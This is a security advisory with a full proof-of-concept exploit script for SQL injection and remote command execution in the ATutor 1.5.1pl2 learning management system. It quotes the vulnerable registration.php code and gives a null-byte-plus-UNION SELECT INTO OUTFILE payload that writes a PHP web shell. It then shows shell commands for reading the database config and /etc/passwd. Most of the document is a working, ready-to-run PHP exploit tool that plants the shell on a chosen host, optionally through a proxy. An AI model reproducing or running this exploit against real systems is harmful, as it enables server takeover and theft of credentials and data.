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atutor151pl2.txt
ATutor 1.5.1pl2 SQL Injection / Remote commands execution. Vulnerable registration.php cod
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`ATutor 1.5.1pl2 SQL Injection / Remote commands execution
software:
site: http://www.atutor.ca/
description : "ATutor is an Open Source Web-based Learning Content Management
System (LCMS) designed with accessibility and adaptability in mind."
if magic_quotes_gpc off -> SQL INJECTION
vulnerable code in registration.php at lines 26-34:
...
if ($_POST['email'] == '') {
$msg->addError('EMAIL_MISSING');
} else if (!eregi("^[a-z0-9\._-]+@+[a-z0-9\._-]+\.+[a-z]{2,6}$", $_POST['email'])) {
$msg->addError('EMAIL_INVALID');
}
$result = mysql_query("SELECT * FROM ".TABLE_PREFIX."members WHERE email LIKE '$_POST[email]'",$db);
if (mysql_num_rows($result) != 0) {
$msg->addError('EMAIL_EXISTS');
}
...
you can bypass regex check and inject SQL statements appending a null char (%00)
to a valid email address, ex:
[email protected][null char]'UNION SELECT 0,0,0,0,'<?php echo "Hi Master"; error_reporting(0);
ini_set("max_execution_time",0);system($_GET[cmd]);?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
INTO OUTFILE "../../www/shell.php" FROM at_members/*
now in shell.php we have:
<?php echo "Hi Master"; error_reporting(0);ini_set("max_execution_time",0);system($_GET[cmd]);?>
then you can launch commands:
http://[target]/[path]/shell.php?cmd=cat%20./include/config.inc.php
(look inside html for database username & password...)
this is my proof of concept exploit:
<?php
# atutor_151pl2_xpl.php 5.12 08/11/2005 #
# #
# Atutor 1.5.1 pl2 (possibly prior versions) SQL injection / #
# / remote commands execution #
# by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# make these changes in php.ini if you have troubles #
# with this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# Sun-Tzu: "Hence, when able to attack, we must seem unable; when using our #
# forces, we must seem inactive; when we are near, we must make the enemy #
# believe we are far away; when far away, we must make him believe we are #
# near." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title>ATutor 1.5.1pl2 SQL Injection/remote cmmnds xctn</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head> <body> <p class="Stile6">
ATutor 1.5.1pl2 (possibly prior versions) remote commands xcution </p><p class="
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"><p><input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span> </p> <p> <input
type="text" name="path"><span class="Stile5"> path ( ex: /atutor/ or just /)
</span></p><p> <input type="text" name="pathtoWWW"><span class="Stile5"> path
to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement
(default: ../../www) </span></p><p><input type="text" name="port" > <span
class="Stile5"> specify a port other than 80 (default value)</span> </p><p>
<input type="text" name="command"> <span class="Stile5">a Unix command ,
example: ls -la to list directories, cat /etc/passwd to show passwd file, cat
./include/config.inc.php to see database username and password</span>
</p><p><input type="text" name="proxy"><span class="Stile5">send exploit through
an HTTP proxy (ip:port)</span></p><p><input type="submit"name="Submit"
value="go!"></p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($pathtoWWW=='') {$pathtoWWW="../../www";}
#default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for
#different installations
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$SQL="[email protected]".urlencode(chr(0x00)."'UNION SELECT 0,0,0,0,'<?php echo \"Hi Master\"; error_reporting(0);ini_set(\"max_execution_time\",0);system(\$_GET[cmd]);?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO OUTFILE \"".$pathtoWWW.$path."shell.php\" FROM at_members/*");
$data="login=suntzu&password=jimijimi&password2=jimijimi&email=".$SQL."&lang=en&first_name=&last_name=&year=&month=&day=&gender=ns&address=&postal=&city=&province=&country=&phone=&website=http%3A%2F%2F&submit=+Submit+";
$packet="POST ".$p."registration.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "<br>Exploit Succeded...";}
else {echo "<br>Exploit Failed...";}
}
else
{echo 'Fill in requested fields, optionally specify a proxy';}
?>
rgod
site: http://altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/atutor151pl2.html
`
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